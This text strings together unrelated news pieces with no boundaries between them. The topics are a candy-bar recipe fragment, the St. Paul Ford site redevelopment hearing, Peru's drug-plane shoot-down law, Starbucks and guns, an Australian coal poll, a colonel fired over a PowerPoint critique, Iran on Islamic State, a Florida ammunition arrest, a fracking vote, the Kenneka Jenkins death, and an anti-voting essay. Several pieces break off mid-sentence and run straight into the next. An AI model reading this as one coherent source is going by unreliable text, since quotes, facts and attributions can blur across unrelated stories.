– this took about 10 minutes for me. Pour over nougat layer and let cool completely. Top chocolate layer 1 1/4 cups milk chocolate chips 1/4 cup peanut butter Melt ingredients together in a saucepan or microwave, then pour over caramel and spread until even. Let cool and harden completely. Refrigerate for at least one hour before serving, then cut as desired. These can stay at room temperature, but they do get gooey. I like them refrigerated best! Note: for best results, buy one of the half-sheet aluminum cake pans at the grocery store. That way, you can pop the entire square out and cut from there! I can’t even take that.Longtime residents of the area surrounding the site are well-represented among those opposing the draft plan. On the surface, you might think two organizations called “Neighbors for a Livable Saint Paul” and “Sustain Ward 3” would agree on a lot of things. They don’t. “Neighbors for a Livable Saint Paul” was organized to oppose — pretty passionately, it turns out — a draft plan to guide the redevelopment of the 135-acre site along the Mississippi River where Ford once built cars and trucks in the city. Then there’s “Sustain Ward 3.” While it may evolve into something broader, the group is currently pushing hard for acceptance of the draft plan for the Ford site, challenging the notion that everyone in the neighborhoods adjacent to the site is against it. Both were out in force last week when the St. Paul Planning Commission held a public hearing on what is called the Zoning and Public Realm Master Plan. And while “Neighbors” and “Sustain” weren’t the only ones who testified at the meeting, they provided most of the fireworks, reflecting both the hopes and fears involved in the ambitious effort to remake a sizable chunk of St. Paul. 10 years of work The current plan is the culmination of 10 years of work by the city of St. Paul, Ford, state environmental agencies and regional economic development groups. The goal is to convert what was a big batch of bad news — the closure of the massive plant and the loss of its 1,800 jobs — into something positive. Over that time — while Ford phased out the plant, demolished the buildings and began the work of environmental remediation — city planners began working on designs for what the city has long referred to as a “21st Century Community.” A couple of ideas for the plan were clear from the start. First, the site wouldn’t be home to another factory; the city didn’t want it and there wasn’t really much of a market. Second, it wouldn’t be a subdivision of single-family homes; the city didn’t want that either, and neither did Ford, which still owns the land. The geography that places the site as close to downtown St. Paul as it is to Minneapolis-St. Paul International Airport always suggested an urban neighborhood where residents shared space with jobs and retail and restaurants and a craft brewery or three. So the draft plans call for it to be a mixed-use neighborhood of mostly multifamily buildings and commercial space. Under those plans, there would be solar rooftops, the density to support stores, restaurants and transit, and even a way to deal with stormwater that includes a surface water feature — not to mention the “daylighting” of a long-buried water flow that ends at Hidden Falls. Biking and walking trails were a given. “Sustainable” was the word frequently used to describe the whole thing. Getting urbanism right? When the draft master plan was released in December, some saw it as the logical culmination of that sustainable vision. There could be up to 4,000 residential units; 1,500 jobs plus parks, trails and open space. Six different zones would govern how the site would be developed, with taller buildings near Cleveland Avenue and Ford Parkway and lower ones closer to the river. A zone along Mississippi River Boulevard was set aside for carriage houses and smaller multi-unit buildings reminiscent of those already on the boulevard, while office space would predominate in what is termed the Gateway zone, along Ford Parkway from the landfall of the Ford Parkway Bridge to Cleveland Avenue. Backers can hardly talk about the potential of the site without the expectation that it will be known worldwide as a place that did urbanism right. St. Paul Mayor Chris Coleman even talks of a visitor center with a world map and pushpins that would locate the hometowns of all the acolytes who’ve come to see and learn. MinnPost photo by Peter Callaghan Last week, the St. Paul Planning Commission held a public hearing on what is called the Zoning and Public Realm Master Plan. “This is the right direction for the future of St. Paul,” said Andrea Kiepe of St. Paul Smart Trips and Transit for a Livable Community. Frank Jossi, vice chair of the Highland District Council, which has endorsed the plan, told the planning commission Friday: “I think St. Paul is in the midst of blazing a new trail with this site.” “I’m happy to state that the plan before you could dramatically improve our city’s reputation worldwide as a leader in energy efficiency,” echoed Michael Noble, executive director of Fresh Energy, a nonprofit that promotes clean energy. Too dense, too tall, too much traffic Not everyone was enamored of the plan, of course. And though it might be trite to see the dispute as generational — old St. Paul vs. new St. Paul — it’s true that longtime residents of the area surrounding the site are well represented among those opposing the draft plan. That area is one St. Paul’s most-desirable and historic districts. If not Summit Avenue, the area is well served with elegant houses from the first half of the last century, home to families who’ve lived, worshiped and raised kids there for a generation or two. And many who testified against the plan last week see it as a threat to that way of life — and a neighborhood they love. “Right now the current vision is too dense, the current buildings are too tall and there is too much traffic,” said neighborhood resident Jean Hoppe, who called the relationship between the decade-long discussion and the draft plan a “bait and switch.” “The developers aren’t going to be living there,” she said. “Ford will be long gone. These are not the entities that should be benefiting. The community, the neighbors, the taxpayers. We should be benefiting from this.” Howard Miller, who referred to the built-out plan as a “concrete coop,” asked the commission what the hurry was with the zoning plan. Ford does not expect to have a developer chosen and work started until 2020. Between now and then, important decisions will be made that could influence the area, such as who will be the next mayor and whether a proposed transit corridor between downtown St. Paul and the MSP airport will pass through the Ford property. “Why would you want to spend all this money for a development in a neighborhood that for the most part opposes it?” Miller said. “This is the neighborhood that typically elects mayors.” Saint Paul Planning Commission Proposed zoning districts Those opposing the plan did not let Ford off the hook, either. Some accused the company of being greedy, of maximizing profits at the expense of its onetime neighbors. “What is Ford hoping to get?” Miller asked. “Does Ford want this overbuilt, mini-metropolis surrounded by hostile neighbors as their legacy?” (Though the question was rhetorical, the answer to Miller’s question was provided later in the hearing by a Ford representative, who said the company endorses the plan.) Leah Hedman, a neighbor who introduced herself as an environmental attorney, predicted that no one would want to live in the midrise apartments and condos, and existing neighbors would flee the area. “Look at the plan, with all the squares on it: 10-story building, 10-story building, 10-story building, 10-story building. What does that look like? Really, really ugly. There’s no way to design something attractive with the current zoning plan. It will be hideous. Because if it wasn’t you’d see it somewhere else. You’d see it in Edina. You’d see it in Wayzata.” Sharing in Twin Cities growth On the other side, supporters of the plan spoke of sustainability, of hoped-for transit improvements, of a desire to be able to walk to stores and services. And while those backing the plan weren’t exclusively younger than those who opposed it, the group certainly skewed in that direction. Brandon Long, a neighbor who belongs to Sustain Ward 3 and is a leader of the St. Paul Green Party, noted that he is 29 years old, but that “by the time [the plan] will be built out, I will be over 50 years old.” He said the plan responds to his concerns about climate change by envisioning a future where cars are less necessary. Kevin Gallatin, president of the Highland District Council, said the region is “growing in leaps and bounds,” and he wants St. Paul to capture a share of that growth. “With the facilities the city is planning to provide on this site, and with the excellent bike lanes, pedestrian walkways and public transportation, I think we’ll have the ability for some really excellent transit-oriented development and it’ll have a world-class reputation.” Heidi Schallberg described herself as a renter near the site and told the commission that 41 percent of units in Highland are rentals. She said if St. Paul is to absorb the population growth that the Metropolitan Council predicts, it will need much more multifamily housing than it does now. Beyond neighborhood concerns With its proximity to both downtowns, the airport and the river, the Ford site involves issues that go beyond current neighbors concerns, however. In fact, the region might count itself lucky that the fight is happening at all. Most of the 267 plants connected to the auto industry that were closed between 1979 and 2011 have little redevelopment potential. Accord to a U.S. Department of Labor study, half remain unused. As such, the draft plan for the site has the support of regional officialdom. Met Council planners say it fits within regional goals; East Metro Strong says it comports with desires to beef up transit options in Ramsey County; the Capitol Region Watershed District is praising the stormwater plan, and affordable housing advocates support its affordable housing elements. And the city’s current wish for a fairly dense redevelopment matches Ford’s desire to maximize return on the property. That is, land zoned for a six-story, mixed-use building is worth more than the same land zoned for single-family homes or townhouses. The city has expressed a willingness to use tax increment financing — essentially borrowing against the expected increased property taxes on the property — to build the infrastructure as well as subsidize affordable housing. ‘Cool it. And God bless St. Paul’ Not everyone who testified was either for or against the plan. Alan Robbins-Fenger, a National Park Service ranger from the Mississippi National River and Recreation Area, endorsed much of the plan, but had concerns that the proposed heights for buildings nearest the Ford Avenue Bridge are too high and exceed rules for the Mississippi River Corridor Critical Area plan. Robbins-Fenger also asked that Mississippi River Boulevard be reconfigured to remove a curve in the roadway near Hidden Falls Regional Park, which would provide more room between the road and the bluff at the point where a restored falls will be created as part of the plan. And Raintry Salk, president of Friends of the Parks and Trails, urged that the plan increase the requirement for parks and open space beyond the 9 percent required in the city’s existing park dedication fee program. The planning commission now hands the chore of reviewing the plan to its comprehensive planning committee. That group will report back to the full commission toward the end of the summer. Merritt Clapp-Smith, the principal planner who has been involved in the project since it began, said she expects it will reach the St. Paul City Council in September. While there is little to suggest the issues surrounding the plan will become less contentious or less emotional, the hearing ended with a request for such an outcome. Leila Poullada mostly praised the vision, but said it was worth working together on resolving differences. “I just hope that the people who said they wanted to work together will try really hard to keep emotion out of this because with emotion you can’t get together and collaborate,” she said. “So please, work together. Cool it. And God Bless St. Paul.” CORRECTION: This story has been updated to clarify that residences proposed near Mississippi River Blvd are not considered single-family homes but accessory units sharing a lot with multi-unit buildings.A law in Peru that allows the military to shoot down planes suspected of smuggling drugs has forced traffickers to move cocaine out of a remote jungle region by boat and on foot, the prime minister said on Tuesday. The law, which ended a 15-year ban on the downing of civilian aircraft when it went into effect in January, intends to keep scores of small planes from flying drugs out of the Peruvian Amazon and into neighboring Bolivia and Brazil. Prime Minister Pedro Cateriano said that even though the military had not yet shot down any new planes, the threat of force had led to a sharp drop in the number of "narco-flights." "Drug traffickers are using other routes to transport drugs, we've seen that in recent months," Cateriano said at a press conference, citing police intelligence. "Now, for example, the trafficking is fluvial and there's more antwork transportation, that is, backpackers." Cateriano said the lack of an easy outgoing route for coca leaf, the main ingredient in cocaine, has led to excess supply and that has prompted its price to plummet. Coca is native to South America and is especially abundant in a group of jungle valleys in southeastern Peru known as the VRAEM. The U.S. State Department said in a 2015 report that small aircraft bound for Bolivia constituted the main method of transporting cocaine from Peru. Peru had stopped shooting at drug aircraft in 2001 after the military, in coordination with the CIA, downed a plane with missionaries on board, killing a U.S. woman and her baby. The United States also banned funding linked to shoot-down activities in Peru after the incident. However, the United States has not said that the reinstatement of the policy would affect its joint anti-narcotics programs in the Andean country. Congress unanimously passed the law reinstating the policy in August, even though Peruvian authorities said that U.S. officials had lobbied to stop it. Peru is virtually tied with neighboring Colombia as the world's top cocaine producer.Starbucks asks US customers to leave their guns at home Updated Coffee chain Starbucks is asking US customers to leave their guns at home after the company was dragged into the increasingly divisive debate over the country's gun laws. While many US restaurant chains and retailers do not allow firearms on their properties, Starbucks' policy had been to default to local gun laws, including "open carry" regulations in many US states that allow people to bring guns into stores. In August, this led gun-rights advocates to hold a national "Starbucks Appreciation Day" to thank the firm for its stance, pulling the company deeper into the fierce political fight. Events were planned for the store in Newtown, Connecticut, where 20 children and six adults were shot dead in an elementary school in December. The shop was closed before the event was scheduled to begin. In an open letter to customers, Starbucks chief executive Howard Schultz said the Appreciation Day events "disingenuously [portrayed] Starbucks as a champion of 'open carry'." We are respectfully requesting that customers not bring weapons into our stores. Here’s why: bit.ly/1eNZ0ci — Starbucks News (@Starbucksnews) September 18, 2013 "To be clear: we do not want these events in our stores," the statement read. The coffee chain did not, however, issue an outright ban on guns in its nearly 7,000 company-owned cafes, saying this would potentially require staff to confront armed customers. The Seattle-based company hoped to give "responsible gun owners a chance to respect its request," Mr Schultz said. The CEO told Reuters the policy change was not the result of the Newtown Starbucks Appreciation Day event, which prompted the Newtown Action Alliance to call on the company to ban guns at all of its US stores. Nor was it in response to the mass shooting this week at the Washington Navy Yard. Mr Schultz said the debate about open carry laws had become "increasingly uncivil... even threatening". "Some anti-gun activists have also played a role in ratcheting up the rhetoric and friction, at times soliciting and confronting employees and patrons," he said in the statement. "We found ourselves in a position where advocates on both sides of the issue were using Starbucks as a staging ground for their own political position." Mr Schultz said more people had been bringing guns into Starbucks shops over the last six months, prompting confusion and dismay among some customers and employees. "I'm not worried we're going to lose customers over this," he said. "I feel like I've made the best decision in the interest of our company." Starbucks says the request
the industry,” Sheikh told Guardian Australia. “They’re trying to tell a positive story about coal when the numbers tell a very different story. And what it shows is that people see through it when they read the newspaper, when they talk to friends and family; they understand the story that the industry is not going to be part of Australia’s future.” Conducted by Lonergan Research, the poll is part of a quarterly tracking poll series in which respondents are asked to offer their views on different energy sources including, coal seam gas and oil and natural gas. Chris Lonergan of the company confirmed the poll’s finding were statistically significant at the 95% confidence interval. “The drop in community sentiment towards coal is quite dramatic for a three month period,” Lonergan said. Facebook Twitter Pinterest The ‘coal is amazing’ ad reworked as not so ‘good for humanity’ video “Whilst the poll didn’t explore the reasons for the drop, this did coincide with the Mineral Council of Australia’s ‘little black rock’ campaign. The drop in sentiment may well be because the campaign backfired, or because the spoof responses from various advocacy organisations were more effective than the campaign itself.” Sheikh said the poll wasn’t designed to test reactions to the coal is amazing campaign but it was “lucky that our timelines and their timelines matched up in such a way so that we could track their advertising”. “We put out a spoof video with over 40,000 views in the first 48 hours,” he said. “We took the message to the streets of Canberra and filmed the reaction. When you’re a major company trying to convince people not to believe what they already believe it’s very difficult. So we can understand why they got such a comic reaction on social media.” Sheikh said it was the biggest campaign from the industry since the campaign against Kevin Rudd’s mining tax. “We haven’t see too much from them, they retreated, but then as a reaction to the divestment in fossil fuels they came back and tried to tell their story. “If you’re trying to sell a bad product you may as well give up and coal is a bad product.” Sheikh called on the advertising industry to abandon the coal sector as a client. Australia: The new coal frontier Read more The executive of Coal for the Minerals Council of Australia, Greg Evans, said he wanted to thank Future Super for “drawing attention to the successful Little Black Rock campaign”. “Future Super should concentrate on maximising returns for their members rather than pursuing their tired anti-coal activist agenda,” Evans told Guardian Australia. “The future demand for coal remains strong. In the past decade coal use grew four times faster than renewables and 50% faster than gas. The International Energy Agency (IEA) has forecast that the world will use 1b tonnes more coal in 2019 than today. “Global financing for coal mining rose to US$66bn in 2014, up from US$55bn in 2013 and a 360% increase from 2005.” Lonergan Research carried out interviews among 1,002 Australians aged 18 or olderColonel Sellin, who was fired from his post after writing this awesomely frank description of his duties as staff officer at ISAF Joint Command in Afghanistan for UPI. Excerpting doesn’t do it justice, but here are some highlights: For headquarters staff, war consists largely of the endless tinkering with PowerPoint slides to conform with the idiosyncrasies of cognitively challenged generals in order to spoon-feed them information. Even one tiny flaw in a slide can halt a general’s thought processes as abruptly as a computer system’s blue screen of death. The ability to brief well is, therefore, a critical skill. It is important to note that skill in briefing resides in how you say it. It doesn’t matter so much what you say or even if you are speaking Klingon. And then, tragicomedy: The CUA consists of a series of PowerPoint slides describing the events of the previous 12 hours. Briefers explain each slide by reading from a written statement in a tone not unlike that of a congressman caught in a tryst with an escort. The CUA slides only change when a new commander arrives or the war ends. The commander’s immediate subordinates, usually one- and two-star generals, listen to the CUA in a semi-comatose state. Each briefer has approximately 1 or 2 minutes to impart either information or misinformation. Usually they don’t do either. Fortunately, none of the information provided makes an indelible impact on any of the generals. One important task of the IJC is to share information to the ISAF commander, his staff and to all the regional commands. This information is delivered as PowerPoint slides in e-mail at the flow rate of a fire hose. Standard operating procedure is to send everything that you have. Volume is considered the equivalent of quality. What made the 61-year-old reservist, who served in both current theaters of war, go off the ranch in such a brilliant manner? According to Wired, Sellin tried giving his higher-ups constructive criticism, including “proven organizational methodologies,” but was ignored (even though, Wired notes, he delivered it using a 5-slide PowerPoint). His PowerPoint rant, though, got attention. Sellin had been opining frequently for UPI; it’s amazing he lasted this long (it may be that PowerPoint and its use in the military has gotten a lot of ridicule lately). Many of his columns complain about operational inefficency and bureaucratic idiocy. On June 24, he wondered if a military mental health test was “just a Pentagon public relations exercise to pretend that ‘something is being done'” and stated that “on face value it appears to be not only a waste of taxpayer’s money but a total waste of time for the deploying soldiers and the CRC staff.” His ripping on PowerPoint started as early as July 15, when he wrote that “command briefings become nothing more than the same updated Power Point slides presenting data about daily operations“ And back in June 15, he gave a impolitic assessment of (presumably) the Obama administration, in comments that make Gen. McChrystal look as obedient as a bootlicking middle-manager:BEIRUT (Reuters) - Iranian President Hassan Rouhani declared the end of Islamic State on Tuesday while a senior military commander thanked the “thousands of martyrs” killed in operations organised by Iran to defeat the militant group in Syria and Iraq. FILE PHOTO - Iran's President Hassan Rouhani delivers remarks at a news conference during the United Nations General Assembly in New York City, U.S. September 20, 2017. REUTERS/Stephanie Keith/File Photo “Today with God’s guidance and the resistance of people in the region we can say that this evil has either been lifted from the head of the people or has been reduced,” Rouhani said in an address broadcast live on state TV. “Of course the remnants will continue but the foundation and roots have been destroyed.” Major General Qassem Soleimani, a senior commander of the elite Revolutionary Guards, also said Islamic State had been defeated, in a message sent on Tuesday to Iran’s supreme leader which was published on the Guards’ news site, Sepah News. Supreme Leader Ayatollah Ali Khamenei congratulated Soleimani on the defeat of Islamic State and said it was a blow against Israel, America and its allies, an allusion to Saudi Arabia. “It was a blow against the past and current governments of America and the regimes linked to it in the region who created this group and gave them every kind of support so they could expand their malevolent power in west Asia,” Khamenei said in a statement published on his official website. In June Islamic State carried out its first attack in Iran, killing 18 people in Tehran, testing the government’s belief that by backing offensives against the group elsewhere in the region it could keep the militant group away from Iran. FRONTLINE POSITIONS Iranian media have often carried video and pictures of Soleimani, who commands the Quds Force, the branch of the Guards responsible for operations outside Iran, at frontline positions in battles against Islamic State in Iraq and Syria. The Revolutionary Guards, a powerful military force which also oversees an economic empire worth billions of dollars, has been fighting in support of Syrian President Bashar al-Assad and the central government in Baghdad for several years. More than 1,000 members of the Guards, including senior commanders, have been killed in Syria and Iraq. The Syrian conflict has entered a new phase with the capture at the weekend by government forces and their allies of Albu Kamal, the last significant town in Syria held by Islamic State, where Soleimani was pictured by Iranian media last week. Iraqi forces captured the border town of Rawa, the last remaining town there under Islamic State control, on Friday, signalling the collapse of the so-called caliphate it proclaimed in 2014 across vast swathes of Iraqi and Syrian territory. Most of the forces battling Islamic State in Syria and Iraq have said they expect it to go underground and turn to a guerrilla insurgency using sleeper cells and bombings. In his address on Tuesday, Rouhani accused the United States and Israel of supporting Islamic State. He also criticized Arab powers in the region and asked why they had not spoken out about civilian deaths in Yemen’s conflict. The foreign ministers of Saudi Arabia and other Arab states criticized Iran and its Lebanese Shi’ite ally Hezbollah at an emergency meeting in Cairo on Sunday, calling for a united front to counter Iranian interference. “DEFENDERS OF THE SHRINE” Soleimani acknowledged the multinational force Iran has helped organise in the fight against Islamic State and thanked the “thousands of martyrs and wounded Iranian, Iraqi, Syrian, Afghan and Pakistani defenders of the shrine”. He pointed to the “decisive role” played by Hezbollah and the group’s leader Seyed Hassan Nasrallah and highlighted the thousands of Iraqi Shi’ite volunteers, known as the Popular Mobilisation Forces, who have fought Islamic State in Iraq. On websites linked to the Guards, members of the organization killed in Syria and Iraq are praised as protectors of Shi’ite holy sites and labelled “defenders of the shrine”. A black sign belonging to Islamic State militants is seen on the road in Al-Al-Fateha military airport south of Hawija, Iraq, October 2, 2017. REUTERS/Stringer Rouhani is scheduled to meet Russian President Vladimir Putin and Turkish leader Tayyip Erdogan in Russia on Wednesday to discuss the Syria conflict. The Revolutionary Guards initially kept quiet about their military role in both Syria and Iraq but have become more outspoken about it as casualties have mounted. They frame their engagement as an existential struggle against the Sunni Muslim fighters of Islamic State, who see Shi’ites, the majority of Iran’s population, as apostates. Last month, U.S. President Donald Trump gave the U.S. Treasury Department authority to impose economic sanctions on Guards members in response to what Washington calls its efforts to destabilize and undermine its opponents in the Middle East.A man from the United Arab Emirates living in Melbourne illegally was arrested Wednesday on weapons charges. The United States Attorney's Office for the Middle District Florida said Hamid Mohamed Ahmed Ali Rehaif, 25, is charged with possession of ammunition by an unlawful or illegal alien. He is being held in federal custody and has waived his detention hearing, the U.S. Attorney's Office said. He is scheduled to have his preliminary hearing in U.S. District Court in Orlando on Monday. Investigators say in 2013, Rehaif was admitted into the United States under a student visa and had been enrolled at the Florida Institute of Technology in Melbourne but was terminated as a student in the fall of 2014. When Rehaif failed to leave the country within 30 days of his termination as a student, he became an unlawful alien, federal officials said. On Wednesday, U.S. Immigration and Customs Enforcement’s Homeland Security Investigations and Federal Bureau of Investigation agents said they made contact with Rehaif at a hotel in Melbourne, where he had been living for the past two months, paying more than $11,000 in cash for room fees. Agents said Rehaif admitted to possessing several firearms but had recently sold or disposed of them but admitted to firing the weapons at two local gun ranges. Agents said they located rounds of handgun and rifle ammunition in his hotel room and in a storage unit he had rented but did not find any firearms. If convicted, he faces a maximum penalty of 10 years in federal prison.CALLS have been made for those councillors who supported the exploration of shale gas in North Yorkshire to step-down and seek re-election on a pro-fracking platform. Thirsk and Malton Constituency Labour Party says it is “deeply disappointed” by North Yorkshire County Council's decision to back Third Energy’s plans to explore shale gas reserves from a well at Kirby Misperton, near Pickering. The plans were approved by seven votes to four at a special planning meeting on Friday (May 20) and Monday. The meeting considered two days of submissions from speakers at County Hall in Northallerton and a lengthy report by council planners, which recommended approval. Now the local Labour party has called on the seven councillors who voted for the plans to stand down. They have also pledged to put forward local anti-fracking candidates in every constituency in the event of any election. The political group says it commended the Conservative-led Ryedale District Council and four county council planning committee members who stood against the application. In a statement they said: “Thirsk and Malton CLP applauds the four North Yorkshire councillors on the planning committee who voted against fracking. “However, the seven who voted for fracking have in our view failed to carry out their duty to represent the interests and wishes of the electorate and in so doing have betrayed local democracy and added to the general cynicism about politics and politicians and perceptions of corruption.” The political group also called for a ten year moratorium on fracking “unless and until it is demonstrated beyond reasonable doubt that it carries no detriment to the environment, health and wellbeing of residents, and the agricultural and tourism economy.” A separate, independent petition has also been launched calling for a vote of no confidence in the councillors and planners by North Yorkshire resident Andrew Newton. But chairman of the planning committee, Conservative councillor Peter Sowray said politics did not come into their decision. “We don’t do party politics in the planning committee; each member is a member of the planning committee in their own right. There’s no political pressure from anywhere – from the local party, or national party or government. We’re free agents and we make our own minds up.” He said that Monday’s approval of permission to explore for shale gas at the KM8 well did not pose any threat to Ryedale’s existing food, tourism and farming industries. “We’re not talking about hundreds of wells,” he said. “If anybody wants to drill a well they have to come back for planning permission. I wish people would stop saying the area will be an industrial wasteland – it will scare off the tourists and food buyers and visitors. They do more harm than good saying that. “Malton has lived in a gas field for the last 20 years without incident and people are just trying to make this more than it is.”This story has been updated to reflect new details in the Kenneka Jenkins case. The mysterious death of Kenneka Jenkins, 19, who was found dead in the freezer of a suburban hotel, has sparked national outcry and questions about the circumstances surrounding her death. RELATED: Employee finds deceased coworker in restaurant freezer The teenager left her home for a party Sept. 8, 2017, according to the Chicago Tribune. After her mother, Tereasa Martin, demanded hotel staff search for her daughter, Jenkins body was found in the hotel freezer of Crowne Plaza Chicago O'Hare Hotel & Conference Center in Rosemont, Illinois. Here is everything we know about the tragic death of Kenneka Jenkins. 1. Autopsy results released in early October 2017 determined that Kenneka Jenkins death was an accident. Cook County medical examiner’s office has determined the cause of Kenneka Jenkins’ death at the Crowne Plaza Hotel on Sept. 10, 2017, the Chicago Tribune reported.The 19-year-old died from hypothermia due to exposure in the hotel’s walk-in freezer, according to the results released Friday. The freezer Jenkins was found in was capable of getting to a temperature of 8 degrees, the medical examiner's office noted. In addition to freezing exposure, alcohol intoxication and the use of topiramate, a drug known for treating epilepsy and migraines were “contributing factors.” Her family said Jenkins had not been prescribed topiramate, but the level of the drug was within therapuetic range. The office also found mucosal erosions, a type of lesion, that indicated Jenkins had suffered from hypothermia and an abrasion on her right ankle. The autopsy results showed her brain was swollen, but that finding does not indicate a specific cause of death, according to the autopsy. Her blood alcohol level was 0.112, higher than the legal limit of 0.08 for legally driving. The alcohol and the drug can enhance each other, the office said. Last month, Jenkins’ mother was convinced that the delay in investigating her daughter’s death could have made a difference. "If they had taken me seriously and checked right away, they could have found my daughter much sooner and she might have been alive," Martin said. 2. On Oct. 20, 2017, police confirmed the Jenkins case was closed and released graphic postmortem photos of Kenneka Jenkins, which a lawyer for Jenkins’ mother said ‘raise more questions.’ Rosemont Police announced late Friday that they have closed the investigation into Kenneka Jenkins’ death and determined it to be accidental, adding there is “no evidence that indicates any other conclusion,” according to the Tribune. Still, lawyers for Jenkins’ mother say graphic police photographs taken after Jenkins’ body was found “raise more questions than answers.” Police showed the photographs to Jenkins’ family on Thursday, and Sam Adam Jr., a lawyer for Jenkins’ mother Tereasa Martin, called them “graphic and disturbing images (that) inexplicably show portions of Kenneka’s body exposed.” A release from Adam and Martin’s other attorney, Larry Rogers Jr., said the photos were “of a personal, private and indecent nature.” According to Rosemont police reports, the 19-year-old was found on her side, face down, with her left arm underneath her, her right shoe off and a small cut on her right foot. The photographs show that Jenkins was still wearing the jeans and jean jacket shown in surveillance videos of her walking through the hotel before her death, but the shirt beneath her jacket “was pulled up exposing her breasts,” a police report said. “Frankly, the photos depicting how Kenneka was found raise more questions about what happened to Kenneka Jenkins than they answer,” Rogers said in the news release. Scientists who have studied hypothermia have uncovered a phenomenon known as “paradoxical undressing,” where people freezing to death remove their clothes. That theory could explain the removed clothes. “Our detective reported no signs of foul play throughout the whole investigation,” according to a statement from Police Chief Donald Stephens III. “There is no evidence that Ms. Jenkins was forced to drink alcohol or consume any narcotics while at the hotel.” Photo: Via Chicago Tribune On Sept. 15, 2017, police released Crown Plaza hotel footage of Jenkins apparently staggering through the hotel hallways, stumbling into a stairwell and, lastly, wandering into the hotel’s kitchen. The video footage, pieced together by the Chicago Tribune, can be found here. The video clips released do not show Jenkins entering the walk-in freezer where her body was found. However, the security video appears to be captured by a motion-activated camera, which did not display anyone coming into the area until her body was found. 3. Kenneka Jenkins’ funeral drew thousands of mourners from across the country. Mourners gathered at Chicago’s House of Hope in September 2017, expressing their deepest grief and fondest memories of the 19-year-old during the 2 ½-hour service. Friends, relatives and complete strangers processioned pass Kenneka Jenkins open casket, which was surrounded by modest flower bouquets on either side. Her loved ones honored Jenkins during the service by donning purple or wearing tribute shirts that read “Justice for Kenneka.” Though little was revealed about Jenkins’ life during the funeral, a poignant poem read by her nieces touched on their relationship with her. “Every time I feel upset she makes me feel like a princess. Neka was so funny she would make me cry,” one of her nieces said during the service. House of Hope pastor Rev. James Meeks comforted those in attendance and sought to keep the service protected from the media frenzy that has surrounded Jenkins’ death. His staff monitored social media throughout the service to ensure no one live-streamed. More than 1,000 people attended the service, including those like Denise Mitchell, who did not know Jenkins but was moved by her mysterious death. "We've been following this ever since it happened — crying, staying up late at night — it's heartbreaking. It feels like a relative," Mitchell told the Tribune. 4. According to CBS Chicago, there is no video of Kenneka Jenkins entering the hotel freezer, where her body was found. According to a spokesperson for the Crowne Plaza Hotel, there is no footage available of Kenneka Jenkins walking into the hotel freezer, CBS Chicago reported Wednesday. The Rosemont, Illinois, hotel does not have a “video camera trained on the freezer,” where Jenkins body was found, the station reported. The video clips released show Jenkins roaming around the hotel for more than an hour. 5. On Oct. 6, 2017, Rosemont police announced though “no sign of foul play exists,” they were still investigating Jenkins’ death and looking for two individuals that checked in the hotel for the party. One of the two people police searched for is Shaniqua Watkins, who is wanted by police for theft or unauthorized use of a credit card and is being sought on four “active’’ arrest warrants, police said. Police continue to identify others in attendance at the hotel room party. They generated 127 related police reports and conducted 44 interviews, 36 of whom were people who were inside the hotel room. There are a few remaining, who are only known by “street names,’’ and police have not been able to locate them yet. 6. Her mother Tereasa Martin is contesting the police report that Kenneka walked herself into the freezer. Martin has quesioned the validity of the police’s conclusion on her daughter’s death. If her daughter was drunk, she said, she would have had a hard time opening the freezer door on her own. "Those were double steel doors, she didn't just pop them open," Martin said. Martin was angry about what she said was hotel workers' lack of urgency in the face of her pleas for help finding her daughter Saturday morning, directing her to the police rather than immediately reviewing hotel footage. The unusual circumstances have ignited huge interest on social media with many observers blaming police and Jenkins’ friends. 7. The family of Kenneka Jenkins has filed a lawsuit claiming that the Crown Plaza Hotel and employees of the hotel are responsible for her death. Teresa Martin is asking for $50 million in compensation, according to an AJC report. The lawsuit makes claims that hotel staff knew Jenkins was missing prior to her entering the hotel’s freezer. Furthermore, the hotel officials did not properly block off the under construction area to guests. Martin’s attorney Geoffrey Fieger also said in a press conference that a a hotel employee could have mistakenly locked Jenkins in the freezer after she entered it. "Through pure negligence, someone noticed that the doors in the kitchen were open. They locked them, they locked them like they should have been locked. They locked the freezer. And unfortunately, they locked Kenneka into the freezer," Fieger said.DIGG THIS Albert Einstein defined insanity as doing the same thing over and over again and expecting different results. One could readily say the same thing about participating in presidential elections. Every four years approximately half of all eligible voters (they other half has the good sense to stay home) head to the polls to engage in what amounts to little more than the political version of the “Taste Test Challenge.” Their choices: Coke or Pepsi, and like ubiquitous soft-drinks, the Republicans’ and the Democrats’ primary goal is to gain as many loyal consumers as possible. Many voters have been chugging their brand of choice for decades; others may have just started, and a few may have even switched brands along the way. Of course, as with any established product, there are times — oh, about every four years or so — when the public begins to grow dissatisfied. They discover that New Coke doesn’t taste as good as the old version, and that Pepsi One doesn’t quite measure up as advertised. Fortunately, there’s always a slightly revised version — Pepsi Jazz or Coca-Cola Zero — fresh off the corporate assembly line designed to excite and entice the masses once again. Well at least for four more years — or until the public realizes that despite all the glitter, slogans, and hype surrounding the latest drink du jour, they’re still consuming nothing more than carbonated water and corn syrup. Is there a more appropriate analogy for what our federal electoral system has become? We no longer have independent candidates representing the views of the electorate; rather, we have two corporate brands fighting for market share — the only tangible difference between the two is the advertising (campaign promises). Obama (Pepsi) promises to be the “choice of a new generation,” while McCain (Coca-Cola Classic) declares that he’s “the real thing.” But while the two products may taste slightly different, they both consist of the same basic ingredients. We have a Congress with the lowest public approval ratings in history; yet both presidential candidates (and one vice presidential candidate) are, in fact, members of Congress. (Apparently voters are far more forgiving of individual congressional representatives than they are of the lawmaking body as a whole, as if that makes any logical sense.) Even more discouraging, much of the “changes” offered by the two leading candidates are no more than cynical promises to undo the very messes they and their colleagues created. For example, both Sens. Obama and McCain spent ample television time during the debates pledging to end “corporate welfare” as we know it. Sounds great, but only if voters ignore that both candidates (as well as VP nominee Joe Biden) just voted to spend hundreds of billions of taxpayers dollars to bail out giant corporations like AIG, General Motors and Chrysler. Both the Republican and Democrat presidential candidates also favor America’s ongoing war-mongering and imperialism overseas. McCain thinks that a multi-decade occupation of a sovereign country (Iraq) is perfectly acceptable for a nation that prides itself as a “beacon of freedom,” while Obama thinks nothing of threatening military actions against Pakistan and Iran for so much as daring to engage in domestic activities that conflict with America’s global interests. Of course, it’s not as if Sens. McCain or Obama are the problem per se; more accurately, they are the products of a system that is broken beyond repair — a corrupt federal Leviathan that pretends that duopoly is choice and that an oligarchy is representative government. Yet every few years, millions of Americans continue to give some semblance of legitimacy to this Orwellian standard of democracy by participating (voting) and perpetuating its existence. They elect to put a fresh coat of paint and new shutters on a home that’s very foundation is collapsing, and afterward they wonder why their house remains uninhabitable. So this November my choice for the presidency will be “Not in my name.” Of course, that doesn’t mean I don’t care about many of the issues the candidates are talking 